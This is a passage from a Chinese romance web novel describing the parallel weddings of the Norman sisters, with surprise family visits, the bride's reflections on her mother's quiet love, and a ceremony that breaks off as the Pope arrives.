伊莎贝尔轻笑,拎着裙子缓缓走远。 突然,她回头:“怎么不跟上?” 海因里希冷哼一声,脚步却老实地追随,“还有什么吩咐?女士。” “接下来,当然是婚礼了。”伊莎贝尔笑着挑眉,裙摆在空中划出优雅的弧度,“蒂洛夫先生的画像画好了,诚邀您观赏,可否赏脸?” “为什么不呢?”海因里希干咳两声,送出胳膊,伊莎贝尔顺势挽上。 二人并肩前行,走向庄园深处—— 作者有话说:下一章!结婚! 第39章 天鹅绒幕布缓缓拉开, 巨幅画像映入眼帘。 画中美丽的女士端庄典雅,像神话故事中的阿尔忒弥斯,冰蓝色的眼睛和头顶的蓝宝石皇冠相得映彰, 窗外阳光与笑容交汇,神圣不可方物。 伴随着惊叹声,蒂洛夫躬身颔首,笑吟吟接受赞美。 “不得不说, 这幅画有一多半的功劳归属于诺曼小姐——这位美丽优雅的模特。否则再精湛的画功也无法凭空虚构一位如此惊艳的美人。” 伊莎贝尔微笑:“才华横溢的名家总是谦逊待人,感谢您为我们的婚礼增光添彩。” 蒂洛夫再次低头,看向海因里希:“是我该感谢公爵先生的邀请, 让鄙人有机会记录诺曼小姐的芳容。从那顶亚特兰蒂斯皇冠的珍贵程度, 足可见公爵先生对夫人的爱护, 提前祝二位婚姻美满。” 画像中, 金发夫人头顶的皇冠造型别致,其中的蓝宝石在光线照射下熠熠生辉。 这顶皇冠设计概念来源于失落文明亚特兰蒂斯的祭司王冠。出自著名珠宝设计师丹尼尔之手, 他专门服务于各国宫廷王室贵族,这顶皇冠一经问世, 名声大噪,不久前被斯宾塞家买走, 所有人都猜测这是公爵夫人的婚礼珠宝。 蒂洛夫一面感慨公爵先生的用心,一面用华丽的词藻赞美这顶精美皇冠。 伊莎贝尔对此很欣赏, 甚至可以说是超出预计的满意。 这顶头冠底座采用海马尾鳍造型,中央蓝宝石内含天然水胆,晃动时可见“深海漩涡” 奇观。周围镶嵌珍珠母贝制成的珊瑚枝,象征海洋的孕育之力,当真是精美绝伦,不是俗品。 她笑着瞥了眼海因里希:“替我感谢薇奥莱特夫人的慷慨,我很喜欢。” 蒂洛夫惊叹一声,“噢,原来是老夫人的手笔……” 海因里希木着脸:“是的,蒂洛夫先生的赞美给错了人,没有哪个男人会花心思给女人挑珠宝。” 蒂洛夫尴尬地挠头。 伊莎贝尔挑眉:“我想也是如此,差点误会是斯宾塞先生买的呢,幸好不是,不然还要开口感谢你了。” “?!”海因里希瞪着伊莎贝尔,一时间,说也生气,不说也生气。 满意地观赏完雇主吃闷亏,维克托干咳两声,上前道:“先生,该去试您的礼服了。” 婚礼前,忙碌的不止新娘,新郎同样逃不开试各种衣服的命运。 海因里希臭着脸走开。 伊莎贝尔叫来艾米丽,从蒂洛夫留下的几幅画中,挑选了穿白纱戴蓝宝石头冠的寄到肯特郡。 艾米丽将油画打包,叮嘱仆人小心运送,绝不能磕碰,仆人满口答应,动作十分谨慎。 画框被送上马车时,风吹起幕布一角,画中美丽端庄的女士微笑,头顶宝石璀璨细腻。 仆人看呆了。 “实在太美了……” “实在太美了!” 肯特郡,温斯顿庄园,奥黛丽看着巨幅画像,发出惊叹。 “显而易见,你和你的姐妹拥有相似的外貌,金发蓝眼。”葛丽泰莞尔,“相信马丁画师有能力呈现你的美貌,好让你那位汉克郡的姐妹同样为之惊艳。” 奥黛丽笑着冲画师马丁眨眨眼:“辛苦马丁先生了。” “我的荣幸!”马丁俏皮摘帽颔首,一本正经地坐下,继续完成大作。 露西端着咖啡进门,招待完宾客,便倚在门边欣赏沙发旁的小主人。 应该说,屋子里的所有人都在欣赏这位美丽的女士。 落地窗边,奥黛丽穿着露肩白纱礼服,头上戴着与画像中相似的蓝宝石皇冠,胸前点缀着同色项链,是伊莎贝尔送的那一条。头顶金色卷发盘成发髻,心灵手巧的葛丽泰女士还在编发中点缀了几朵白桔梗,衬得女孩越发清丽动人。 画像过程持续了两个小时,奥黛丽也站了两个小时,再灿烂的鲜花这会儿也蔫了。 但她不敢乱动,只能用眼睛瞟着露西。 “我有点渴了。” 露西笑着端上饮品喂她喝。 想要留下美丽的时刻,总要付出代价。奥黛丽在心里给自己鼓气。 好在马丁很快宣告结束。 迎着葛丽泰夫人和奥黛丽以及诸位女士期待的神情,马丁风度翩翩鞠躬:“请相信它称得上是杰作,为确保惊喜,您可以在婚礼当天揭晓。” 马丁画师是查尔斯花重金找来的,听说在业界饱受美誉,奥黛丽和葛丽泰自然没什么可质疑的,纷纷客气致谢。 送走马丁,奥黛丽迫不及待跑到画像边。 她才不等惊喜呢!现在就要看!早看早开心! 手指正揪着幕布,楼下传来马车声。 葛丽泰靠近窗外,招手道:“诺曼小姐,快过来,看是谁来了!” 奥黛丽将画像抛在脑后,拎着裙子跑向窗台。 定睛一看,她愣住。 楼下,熟悉的夫妇被仆人请下马车。 奥黛丽不可置信,盯着看了几遍才确定没有眼花,下一刻,喜悦之情惊得树梢的麻雀四下飞窜。 “爸爸!妈妈!” 简妮听见呼唤,抬头看向奥黛丽:“噢!亲爱的!” 爱德华呜咽出声,和妻子互相搀扶着才没滑倒:“奥……贝拉!我的小甜心!” 奥黛丽简直高兴得说不出话,茫然在原地转了个圈。 还是葛丽泰含笑提醒道:“好孩子,快下楼迎接他们吧!” “谢谢提醒,葛丽泰夫人。” 惊喜冲昏头脑,奥黛丽立刻跑出房间。 雀跃的步伐差点撞翻侍从的托盘,“抱歉汤姆,如果你知道我多么高兴,一定会原谅我的!” 她语速飞快,歉意地眨眨眼,再次拎着裙子往前奔跑。 仆人汤姆微笑让开:“是的,我能感受您的快活,请小心脚下,诺曼小姐。” “谢谢你,汤姆!” 奥黛丽笑着跑远,天鹅绒红色地毯留下漂亮白裙划过的踪迹,充满愉快的气息。 二楼,正从书房走出来的赫尔曼,在查尔斯的提醒下,准备敷衍地迎接到来的岳父岳母。 刚迈下一级楼梯,身边就出现白色小旋风。 “抱歉,让一让!” 没等他反应,白色旋风飞速转到了一楼。 “午安!怀特先生!午安!查尔斯!噢,查尔斯你的新帽子很好看!”旋风急刹,非常潦草地扭头对他行礼,而后欢快地跑向门外。 赫尔曼:“……” 银头发先生和查尔斯对视一眼。 后者摊手:“年轻的孩子总是容易快乐,这不是您的至理名言?” 赫尔曼抚平被旋风擦肩而过时弄乱的头发,整理好领结,不紧不慢地走下楼。 “是的,快乐得不像样了。” 随着步伐的前进,视线投向大门外。 不像样的诺曼小姐已经扑向父母的怀中,裙摆在空中划过喜悦的弧度。 “爸爸妈妈,我真没想到你们可以来参加我的婚礼!” 马车里,身材丰满的安娜姨妈翻了个白眼,嚷嚷:“噢,你一点儿都没有惦记姨妈,小滑头!” 奥黛丽惊喜抬头,扑向安娜怀里:“安娜姨妈!你也来了!真好!太好了!我好想你!” 安娜眼眶一红,贴了贴奥黛丽的脸颊:“噢,亲爱的奥……贝拉,姨妈的小心肝,我也想你。” 爱德华摸着奥黛丽的脸,满眼心疼:“可怜的孩子,一定受了很多的委屈吧。” “这是温斯顿庄园,别乱说。”简妮赶紧掐了把爱德华,微笑摸了摸奥黛丽的头:“葛丽泰夫人慷慨大方,她特意写信邀请我们来肯特郡做客,还派了人来接我们,显然她很和善,对你也足够重视。”“是的,葛丽泰夫人和怀特先生都是很好的人!”奥黛丽诚恳点头。 说话时,葛丽泰夫人和赫尔曼已经站在身后迎接。 “诺曼爵士,诺曼夫人,卡文女士,请移步客厅说话吧,辛苦你们舟车劳顿。” 葛丽泰态度温和,上前与简妮寒暄,二人彼此颔首行礼。 一行人在仆从的簇拥下走进客厅。 奥黛丽一手挽着母亲,一手挽着姨妈走在前面;后面跟着爱德华,原本应该由女婿与岳父交际,葛丽泰看着不动如山的赫尔曼,无奈之下,只好用眼神暗示查尔斯与爱德华交谈。 队伍末尾,葛丽泰瞥了眼儿子,“我能寄出邀请他们的信件,就说明是你默许的,现在人都来了,何必摆脸色。” 赫尔曼伸出胳膊递给母亲,葛丽泰挽住。 “我要是摆脸色,他们能进这个门吗?”他淡淡道。 “两个女儿同一天婚礼,我以为卖女求荣的诺曼先生会优先莅临公爵府。”赫尔曼眼神讥诮,“看来是我小看了金钱的威力。” 葛丽泰嗔他:“别带有偏见,赫利。” “我对诺曼夫人没有偏见。”赫尔曼瞥了眼前面的爱德华,想起当初他无能软弱地签下契约的样子,实在难以改观,“但是对于她的丈夫,我保留质疑的权力。” 葛丽泰哽住,心知这是儿子的实话。 赫尔曼很给面子了。 按照原计划,这桩金钱交易的婚礼不会有女方父母出席。是葛丽泰极力劝导,说没有哪个新娘不盼望自己的父母见证幸福,想给诺曼小姐一个惊喜。 赫尔曼才不会参与这种无聊的事情。 更何况,他并不觉得一场完美的仪式就代表幸福。 只是他懒得反驳母亲天真的想法,婚礼多几个人罢了,顺势答应不是难事。 虽然他看不上诺曼一家人,但既然默许母亲的邀请,就不会做出把登门的客人轰出去的事情。 客厅里,奥黛丽还沉浸在喜悦的心情里,并不知道怀特母子不同的想法。 开心之余,她忽然想起什么,压低声音凑到母亲耳边:“公爵府没有邀请你们吗?” 姐妹俩的婚礼不同寻常,一开始诺曼夫妇就做好心理准备,也许没有出席的资格。 但是,数月时间过去,温斯顿庄园已经松动态度,愿意邀请新娘父母。 有眼前的例子在先,奥黛丽猜想斯宾塞家应该也有改变。 她无比信任姐姐的手腕,难道凭借伊莎贝尔的智慧,也无法让公爵府上下松口吗? 想至此,奥黛丽不免担忧姐姐的处境。 简妮看出女儿的神色,握着她的手,轻声道:“前天收到了你姐姐的来信,斯宾塞家的婚礼规格很高,会在墨伦维克圣威斯福特教堂举行,宾客来头很大,交际复杂。我们过去恐怕会给她添麻烦。” 奥黛丽皱眉,沉默不语。 “好孩子,放宽心。”简妮压低声音,贴近她的耳朵,“贝拉信里说,比起斯宾塞家,我们更适合来这里。” 说完这句话,简妮立刻垂眸,用微笑掩饰眼底的失落。 她太了解大女儿。 贝拉独立且清醒,她说不需要,就是真的不需要。而非为了展示慷慨,刻意为妹妹让步。 可是作为母亲,缺席其中一位女儿的婚礼,那种愧疚不知该怎么表达。做父母最难过的事情,就是无法给予子女帮助,甚至还会拖后腿。 基于这种情况,简妮反驳了爱德华提出的一人去一处的建议。他们最好是按照贝拉的安排,赶赴肯特郡。 无法给予助力,那就让女儿自由决策,尽全力配合,而不是自作主张表达关心。 虽然贝拉没有明说,但简妮明白,墨伦维克那样的地方,他们的一言一行,不小心就会成为别人攻击贝拉的把柄。 奥黛丽也想通了这点,她深吸一口气,忍住泪意。 “可是,姐姐身边就没人陪她了。” 简妮莞尔,摸了摸女儿的卷毛:“会有合适的人代替我们去。” 奥黛丽怔然,望着母亲的蓝眼睛。 她笑意温和,总是平等地注视着两个孩子,像温暖的太阳。 - 查尔维斯庄园。 出发前往墨伦维克的这一天,伊莎贝尔在艾米丽的帮助下换上新礼服。 主纱要在婚礼当天才能亮相,但这件用于出行的轻盈白裙也足够华美。 和奥黛丽的卷发不一样,伊莎贝尔的头发柔顺笔直,披在肩上像名贵闪亮的丝绸,挽成发髻再点缀钻石发饰,又呈现另一种美感。 “该出发了,小姐。”艾米丽看着镜子里的美人,忽然叹气道,“太可惜了,老爷和夫人看不到您穿上婚纱的样子。” “蒂洛夫先生会为我留下画像,他们一样能看见。”伊莎贝尔语气平淡,不解风情地拎着裙子出门。 楼梯间,艾米丽无奈摇摇头。 没有亲人出席的婚礼,任何人都会失落。眼前的诺曼女士,分明没有半点惆怅。 接收到艾米丽的目光,伊莎贝尔轻笑。 对于她来说,这桩婚礼本身也不是什么幸福象征,所以没什么好难过的。 门外,斯宾塞家的车队已经等候多时。 伊莎贝尔思索着抵达墨伦维克后的事情,心不在焉地下楼。 墨伦维克汇聚众多权贵,甚至会有各国首脑等人物出席,埃德蒙背后的人也还没出现……她需要考虑的事情太多了,实在分不出心神去伤感。 这么想着,她拎着裙摆前行,拖地白纱裙滑过干净锃亮的楼梯,抬眸时,突然怔住。 大厅里,有人背对而立,熟悉的身影让伊莎贝尔不由自主停下脚步。 下一刻,身穿墨绿色克里诺林裙,头戴同色羽毛宽帽的女士优雅转身。 迎着伊莎贝尔的目光,她微笑:“亲爱的,希望对你来说这是个惊喜。” 伊莎贝尔足足愣了数秒,这在她身上实在是难得出现的情形。 “玛丽姨妈?” 玛丽笑容温和,上前贴了贴她的脸颊,压低声音道:“贝拉,你的母亲给我写信,希望我和克劳伦先生能来参加你的婚礼。其实不用她叮嘱,我就会这么做的。” 伊莎贝尔目光怔然,一时忘了怎么回答。 卡文一家遗传的蓝眼睛如天空般澄澈,玛丽细细打量伊莎贝尔,眸光闪烁着泪意:“真漂亮!美丽的新娘可不能孤单一人走上教堂红毯。” 伊莎贝尔手指无意识攥紧,良久,才轻笑道:“噢,这无疑是个惊喜,玛丽姨妈。” 玛丽慈祥地打量外甥女。 即便远在伯爵府,她也听说了伊莎贝尔在墨伦维克的事迹。 真是十足耀眼的孩子。 她从怀里拿出一只首饰盒,看向伊莎贝尔:“这是你母亲送上的新婚礼物,打开看看。” 伊莎贝尔打开盒子,眸光顿住——一条璀璨的蓝宝石项链静静躺在天鹅绒布里,和她送给奥黛丽的那条一模一样。 来查尔维斯之前,她给简妮留了一笔生活资金,怕爱德华再上当,所以数目不多。 这条项链价值不菲,不难猜到老两口把那笔钱用在了这里,甚至自己还贴补了一些。 伊莎贝尔摸了摸蓝宝石,触感微凉,只有在掌心紧握许久,才能传递些许温热。 就像她这个人一样。 不知道该怎么描述此刻的感受。 伊莎贝尔不擅长理解亲情,前后两世加起来,也很难说自己对它有多么深刻的见解。 她只喜欢以旁观者的角度点评人类,哪怕是小奥蒂,一开始在心里的评语只是“能吃能睡,有点笨的小跟屁虫”,后来才变成“能吃能睡,有点笨、很听话、有点可爱,偶尔头脑聪明的小跟屁虫。” 最初,简妮对她而言只是充当“母亲”角色的NPC。 她的性情温和如水,是卡文三姐妹里最没有脾气的一个。 关于情感的表达,也像水一般无形。 实际上,比起爱德华浓烈的父爱,伊莎贝尔更习惯简妮平淡的表现,那会让她觉得放松。 此时此刻,她忽然察觉,也许简妮比任何人都懂自己。 她喜欢独处,简妮从不打扰,诺曼庄园永远有一间安静的书房属于她,并严格禁止他人踏入,包括小奥蒂。 她不喜欢亲密接触,简妮绝不会越过雷池,甚至命令爱德华也要照做。 甚至关于奥蒂的学业,简妮也听从她的安排。小到衣食住行,大到交换婚姻的抉择,简妮永远在无条件地支持她。 伊莎贝尔想,也许自己的特殊之处,不止奥蒂知道。 这种细微的理解和尊重,除了源自于“母爱”,没有其他的解释。 从前,她不觉得“母亲”这个身份有什么特别的。 可现在却想,冠以“母亲”名义的人,就像天上的太阳。从你出生起,那道目光就追随着你。你沐浴在温暖的阳光中,却从来不会注意到她。 可你的异样,你的性格,你的需求,她通通看在眼里。而你看不到房间里的大象,以为它挂在天穹,亘古不变,是这个世界的一部分。 现在想来,哪有无缘无故地舒适呢?是她注视着你,体谅着你,是明白自己帮不到女儿,就默默听从安排;是即便不能亲自前来,也想让女儿不要孤单,拥有一个饱受祝福的婚礼。 伊莎贝尔沉默许久,缓缓将蓝宝石项链戴上。 玛丽替她扣好链子,微凉的宝石垂落在锁骨处,渐渐有了微温。 有些人的爱是浓厚炽烈,有些则像水一样轻柔,无色无味,却润物细无声。 等到发觉之时,它已经温和地包裹着心脏,源源不断输送暖流。 玛丽拎出箱子,一一介绍家人送的礼物,有奥黛丽的、安娜的、还有她和克劳伦伯爵的…… 伊莎贝尔认真听着,微笑道:“谢谢你,真心感谢你,玛丽姨妈。请帮我向家人们传达谢意。” 玛丽对上她的眼神,怔愣两秒,目光倏然柔和:“噢,亲爱的,老实说,在你说出这句话之前,我都以为……我们的到来有些不合时宜。” “在此之前,我的确不觉得家人的缺席会是遗憾,甚至现在也是这么认为。世上难事那么多,我没空为这种小事费心。”伊莎贝尔抬眸,目光坦然,但唇边挂着笑。 “是的,你不是小奥蒂,不会为了父母的缺席而哭鼻子。”玛丽轻笑。 “不,奥蒂也不会。”伊莎贝尔轻笑,“她平时会哭鼻子,但如果真有那一天,需要直面困难,她也会坚强勇敢。” 玛丽收起开玩笑的神色,认真看着外甥女,眸光闪烁着欣慰的光:“我们家的姑娘们,棒极了。” 伊莎贝尔轻轻抱了抱姨妈:“是的,可是如果像今天这样,您突然给我一个惊喜,我想……没有人可以对真诚的祝福说不。” 玛丽怔然。 “您的到来,让我感觉,有家人陪伴的婚礼……”她顿了顿,露出微笑,“会令人生出对幸福的憧憬,听起来有些罗曼蒂克,不像我会说的话是吗?” 玛丽笑了起来,很快擦了擦眼角:“噢!可是姨妈很高兴小贝拉会有憧憬幸福的时刻,哪怕只维持短暂的一天。我相信简妮也这么认为。” 玛丽清楚地察觉,总是独立于众人之外的孩子,终于愿意真正拥抱家人,弯下腰承受名为亲情的雨露浇灌。 身边一直沉默笑看着她们的中年男士,眨眨眼,低声道:“噢,虽然不想打扰你们的交流,但允许我打个招呼好吗?亲爱的玛丽。” 玛丽赶紧松开伊莎贝尔,笑着引荐:“差点把你姨父忘了。” 中年男士克劳伦伯爵摘帽颔首:“好久不见,贝拉。” 伊莎贝尔颔首:“姨父。” 克劳伦伯爵在外是位不苟言笑的绅士,只在家人面前有好脸色,他难得配合妻子开起玩笑:“得知能代替爱德华送新娘入场,我高兴得一晚上没睡着。毕竟等凯瑟琳长大嫁人,还需要很多年,能提前演练一番真是棒极了。” 凯瑟琳是玛丽和克劳伦伯爵的独女,现年十岁。 闻言,三人都笑了起来。 伊莎贝尔莞尔:“我的荣幸。” 克劳伦伯爵送出胳膊,伊莎贝尔挽住。 适时,海因里希出现在门外,“可以出发了吗?” 玛丽笑着迎上前:“可以了。” 海因里希的目光落在伊莎贝尔身上,停顿许久,才向玛丽颔首,伸出胳膊,带领着女士走出城堡。 马车渐行渐远,目的地是墨伦维克—— 作者有话说:婚礼双线并行,所以后面会是两个人一起的篇章。 啊还是没写到婚礼典礼,这个我得详写的,所以宝宝们等我小火慢炖好吗? 第40章 章节锁定 40-50 第41章 一夜过去, 日历翻到新的一页。 锡兰历八月五号,天气晴朗——这对于两位诺曼女士来说,是特殊而美好的一天。 上午十点, 墨伦维克斯宾塞家和肯特郡温斯顿庄园的钟声同时响起。 “恭喜!今天是个大晴天,预示着未来公爵夫人婚姻美满!” 艾米丽推开房门,身后跟着伊迪斯,她们一起笑着给伊莎贝尔换上主纱礼服。 “噢,令人惊叹的美丽!”玛丽带着十岁的小凯瑟琳伴娘发出感叹。 伊莎贝尔微笑,任由艾米丽给自己戴上蓝宝石头冠与同色项链:“幸好吃过早餐,否则空腹穿着这么重的婚纱,恐怕难以支撑我走完红毯。” 新娘的俏皮话逗得众人发笑。 镜子里, 未来公爵夫人身上的象牙白真丝塔夫绸礼服华贵无比, 裙摆镶嵌古董蕾丝纱, 拖尾长达二十五锡兰尺,其上还镶有超过千颗手工缝制的珍珠以及珍珠母亮片, 它们被精心排列成各种图案,分布在紧身胸衣、腰部、裙摆边缘和拖尾等部位。 如此华丽的装饰使得整套婚纱在日光下闪烁着柔和的光芒,璀璨夺目。 “新娘都是仙女吗?我也好想当新娘!”小表妹凯瑟琳穿着伴娘服,手捧鲜花,眼底满是憧憬。 “想当仙女不一定要当新娘。”伊莎贝尔挑眉,点点凯瑟琳的鼻子, “新娘都是女战士,否则穿不动数十斤的婚纱礼服, 美丽可得花费点力气呢宝贝。” 凯瑟琳大吃一惊:“噢,真不可思议!” “亲爱的,别忘了你的职责。”玛丽嗔着女儿,“今天你的任务是守护美丽的新娘以及她身上美丽的婚纱,千万不能让拖尾绊住她的脚。” 凯瑟琳严肃地行礼:“是!女士!保证完成任务!” 众人笑了起来。 到了出发的时间,新聘用的女管家和蔼地进来提醒。 新郎以及薇奥莱特夫人等斯宾塞家亲眷都已经提前赶往教堂,剩下所有仆人都汇聚在楼下,等待新娘的亮相。 当伊莎贝尔戴上头纱出现在楼梯边,就看见漫天花瓣飞扬,伴随着高兴的欢呼。 “最美好的祝福送给今天的新娘!” 众仆人齐声送上祝福,所有人脸上都洋溢着欢快。 “希望您不会介意我们的惊喜。”为首的维克托难得真心实意地微笑,毕竟公爵婚礼当天,终于能放一天假。 当然,还因为斯宾塞公爵的新婚,代表着“诅咒”的打破,以及新的阳光照进这个一潭死水的家,他们真正迎来了女主人。 “谢谢大家,谢谢你,维克托。” 伊莎贝尔优雅颔首,鞠躬回礼。 门外,飘扬着斯宾塞家族旗帜的婚车等候已久。 身穿红色制服的卫兵肃穆行礼,克劳伦伯爵下车迎接伊莎贝尔,小凯瑟琳跟在身后整理婚纱拖尾,玛丽笑着挥挥手,上了另一辆车。 装饰着蕾丝白纱的婚车往前行驶,卫兵沿路守卫,设下安全线,天鹅绒红毯从斯宾塞首都住宅铺向圣威斯福特教堂。 看见新娘的婚车经过,夹道等候的百姓爆发阵阵欢呼,阵仗甚至超过上次约克公爵菲利普的大婚。 敞篷马车里,伊莎贝尔大方地挥手示意。 新任斯宾塞公爵夫人的风度无疑再次掀起民众热情。 众所周知,这场规模空前的盛大婚礼,是女王为纪念为国牺牲的帝国双壁而特意批准的仪式。锡兰公国的百姓们没有忘记老公爵的贡献,自发组成围观队伍送出祝福。 直到亲眼目睹这一幕,伊莎贝尔才真切感受到,斯宾塞家族曾经拥有何等荣耀,也能体会薇奥莱特为之守护的是什么。它不仅是物质和阶级,更是民众的爱戴。 冰蓝色的眼睛注视着远处的人群,婚车缓缓驶向教堂。 同一时间,阳光照耀着温斯顿庄园的马路,装饰华美的婚车载着新娘迎接祝福。 奥黛丽身穿轻盈的婚纱,金发整齐盘成花苞发髻,手里捧着迷叠香花束,正挥手和镇上的居民打招呼。爱德华坐在她身边,简妮和葛丽泰以及安娜另坐一辆车。银头发新郎按照规矩已经提前到达肯特郡教堂等待。 奥黛丽对路边的面孔无比熟悉,都是她在镇上逛街认识的老朋友们。 乡间民众的欢呼质朴而纯粹,有的刚从地里扛着小麦种子回来、有的刚做完买卖、有的还是从前受过新娘施舍的小乞丐,此刻大家不约而同地鼓掌跳舞,唱起婚礼民谣。 “愿爱环绕在你们的餐桌旁~愿爱融入你们每日分享的言语中~愿它成为指引你们的光芒~”大叔徒手敲鼓伴奏。 胖厨娘欢快地鼓掌,用高昂的歌声接着唱:“愿神圣曜主的庇佑引领你们前行,将你们的希望寄托于永恒~” 嘹亮的女高音带动周围的歌声。 小乞丐用手拢成喇叭状,兴奋得脸颊通红:“愿它温暖你们家的每一个角落~愿它成为坚实的根基~无论你们漂泊何处都与你们相伴。” 最后,查尔斯也忍不住加入、连带着庄园仆人、葛丽泰夫人、车上的爱德华和简妮和安娜都齐声合唱:“愿神圣曜主保佑你们~愿祂保佑你们~愿祂在你们婚礼这一天保佑你们~” 大家默契地献唱,有的五音不全,有的跟不上节拍,但无一例外献上了最诚挚的歌声。落在奥黛丽耳中,如同听见世间最动听的百灵鸟们一齐歌唱。 她眼眶通红,激动地挥手:“谢谢大家的祝福!谢谢你们!” 昨天那幅画给予的温暖,延续至今,村民的热情让她再次感动。 奥黛丽太快乐了,她觉得自己来到肯特郡收获的善意很多很多,满得快要溢出来! 戴着蕾丝长手套的手在胸前虔诚祝祷,再送上一个真诚的飞吻,“把美好的祝愿传递给大家,希望你们和我一样感受幸福!” “善心的小姐,新婚快乐!” “新婚快乐!” …… 伴随着渐渐远去的声音,奥黛丽被欢乐包裹,怀着雀跃的心情坐着婚车前往礼堂。 按照锡兰公国的传统,拥有美好祝愿的婚礼需在“光明时段”完成仪式。 十点五十八分,经文传说里永恒神圣曜主降世的时辰,新娘的婚车抵达教堂外。 爱德华深吸一口气,忍住眼泪,下车搀扶女儿。 雪白的婚纱落在红色地毯上,隔着面纱的奥黛丽和父亲贴面,父女俩的眼睛都红得像兔子。 奥黛丽瘪了瘪嘴:“爱你,爸爸。” “愿主保佑你。”爱德华微笑,“亲爱的。” 肯特郡教堂顶端白鸽扑腾翅膀,飞向天空。 婚礼进行曲适时响起,典雅的钢琴声配合低沉的大提琴,共同奏响动人的乐章。 奥黛丽挽着父亲的手,看向前方。不远的距离,她望进那双深灰色的眼睛里。 那里,新郎穿着纯黑的礼服,戴白色领结,一头银发整齐地用发带束好,俊美如初见。 宾客齐齐起身行注目礼,耳畔音乐悠扬。 短暂停顿的数秒,奥黛丽恍惚想起第一天见到赫尔曼的场景。 煤油灯光线昏暗,她透过二楼的缝隙,看见他闯入自己的家。 那时,她想,这个人可真凶……不过怪好看的。 她对好看的人总是会多几分宽容。 但奥黛丽不是个彻头彻尾的笨蛋,她当然明白,怀特先生这个人,是墨菲斯山上不可亲近的冰山雪莲。 谁能拥有那朵雪莲呢?美丽冰冷,触碰还会被扎一手刺。 奥黛丽认为自己是个老实本分的姑娘,她充分学习姐姐的理智,并且评估了自身的优缺点,得出结论——虽然很喜欢,但如果无法拥有,那就远远观赏吧。 假如注定要和这朵雪莲共度一生,那么奥黛丽想,她不知道雪莲的习性,但至少清楚自己拥有什么。 她不向往寒冷,如果雪莲仍想高悬山顶,没关系。她不会试图攀登冰山摘下那朵花。她只会在山脚下欣赏着它,过好自己的一生。 可未来如果有那么一天,你需要太阳,想感受温暖的光源,那就……靠近我吧。 长久的注视里,奥黛丽看见赫尔曼朝着自己走来。 数月的相处,那朵雪莲的温度,似乎没有那么冰冷。 他会为她画像、会为她破例做很多事、会在慈善拍卖会上替她出头、会认真评价她做的模型……点点滴滴,奥黛丽都看在眼里。 爱德华含泪将女儿的手递给银头发先生。 掌心的暖意透过丝质手套蔓延,奥黛丽水蓝色的眼睛盈着温和的笑意。 如果雪莲愿意停留在她的身边,那么她会好好为它浇水,为它洒下阳光。 她拥有很多的爱,不介意与他分享。 “请好好照顾她……怀特先生。”爱德华还是落泪了,这一年的风雨让他老了很多。 赫尔曼顿了顿,在婚礼这一天,他终究还是忍住主观情绪,选择给予新娘父亲尊重。 庄重的婚礼进行曲响彻教堂,他缓缓握住奥黛丽的手,而后冲爱德华颔首。 “是。”他说,“我会这么做。” 圣威斯福特教堂,克劳伦伯爵听见海因里希诚恳的回答,这才将伊莎贝尔的手交给他。 隔着朦胧白纱,冰蓝色的眼睛注视着对面的黑发新郎。 这个男人很高,总是需要微微抬头才能看清这张脸。 往常随意向后拨开的狼尾黑发,今天倒收拾得十分板正,深邃的眉眼清晰展露在视野之内,竟与平时截然不同,有种矜贵的气韵。 向下打量,伊莎贝尔发现,这位新郎没有穿准备好的礼服,而是换了一身军装。纯黑制服笔挺,一排排功勋荣誉挂在胸前,腰间系着皮带,领口和肩头绣着金色纹章,再加上长筒军靴,越发衬得肩宽腿长。 也许是察觉新娘的视线停留太久,海因里希挽着她缓缓走过红毯,趁人不注意,翘起嘴角低声说:“醒醒,别看呆了。” 面纱之下,伊莎贝尔揶揄:“你打扮这么久,不就是要给我看吗?” 海因里希挑眉:“我记得有人说,不希望自己的新郎被伴郎比下去。” 他隐晦地扫了眼对面的伴郎,那是随便从斯宾塞家的表亲里挑出来的歪瓜裂枣。 “下次记得出点难题。”他哼笑,“我只是随便收拾了一番。” 言外之意,天生丽质随便穿穿就是全场最靓的咯~ 伊莎贝尔轻笑出声,嘴上调侃:“那可真为我脸上增光。” 海因里希勾起唇角。 的确,放眼全场,很难再找到外貌如此登对的夫妇。 伴随着音乐声,年轻的新郎新娘穿过教堂红毯。 三千多名宾客分立两旁,以王室为首的贵胄和各国要员、有爵位在身的亲属等则站在红毯尽头最靠近宣誓台的位置,女王带领众人起身行注目礼,跟着音乐轻轻鼓掌。 面纱之下,伊莎贝尔也在看着所有人。 上次,她是位列席间的宾客,旁观了一场婚礼。此刻,她成为了主角。 冰蓝色的眼睛看向和蔼微笑的女王、满脸倦容却仍然专注的薇奥莱特、笑着鼓掌的索菲娅和她的女儿女婿、极力忍住翻白眼冲动的萨克森夫妇、还有一大堆熟悉或不熟悉的亲眷……沐浴在诸多目光里,她不在乎这些祝福是真实还是虚伪。反正谁也无法阻挡自己的步伐。 伊莎贝尔挺直脊背,坦然前进。 身穿红色长袍的大主教——也是菲利普公爵婚礼的证婚人,手持圣曜经文将夫妇二人引至台前。 乐团集体停止奏乐,教堂气氛立时肃穆。 所有人默契地安静下来。 上次菲利普的婚礼没有这一环节,伊莎贝尔垂眸看着脚尖,很快明白是怎么回事。 下一刻,头发花白的大主教,用低沉的腔调宣布:“请诸位起立,恭迎——教皇。” 一瞬间,伊莎贝尔感受身边的人肌肉绷紧,似乎在压抑着情绪。 她隐秘抬眸,只看见海因里希平静的面容。 大主教声音落地的同时,率先低头,双手高举圣曜经文。 所有人紧随其后,齐刷刷颔首,包括最前方的女王。 唱诗班儿童开始吟唱圣曜教歌谣,响亮空灵的声音在尖顶教堂回荡,充满神圣的仪式感。 众人统一右手抚肩、朝着空无一人的宣誓台虔诚躬身。 伊莎贝尔和海因里希站在教堂中央,面对宣誓台垂着头,视野里只有猩红的地毯。 良久,耳边传来权杖敲击地面的清脆声响,由远及近,规律而缓慢。 “起。” 是一道与想象中截然不同的……清澈而磁性的嗓音。 伊莎贝尔眸光微动。 所有人缓缓抬头,终于看清来者尊容。 短暂的瞬间,伊莎贝尔忽然想起海因里希说过的那句话——“我的母亲,因为信仰杀了我的父亲。” 能够被称之为信仰的人,也许并不能再称之为人。 他是神圣永恒曜主的人间化身,是虔诚教徒心中的至高明月。锡兰、赫斯兰、乃至埃尔美等信仰圣曜教的所有国家,都将此人奉为真主。 即便场上权贵云集,却有极大多数人不曾见过他。 也许不会有人敢公然冒犯教皇的威严,直白地打量他的面容。 但不包括毫无信仰、且隔着面纱的伊莎贝尔。 在此之前,假如有人告诉她,世间有神明,她会嗤之以鼻。然而此人的气度,当真能用神祇降临来形容。 身后,众人鸦雀无声,似乎都陷入无限崇敬的氛围里。 这样的反应,不奇怪。 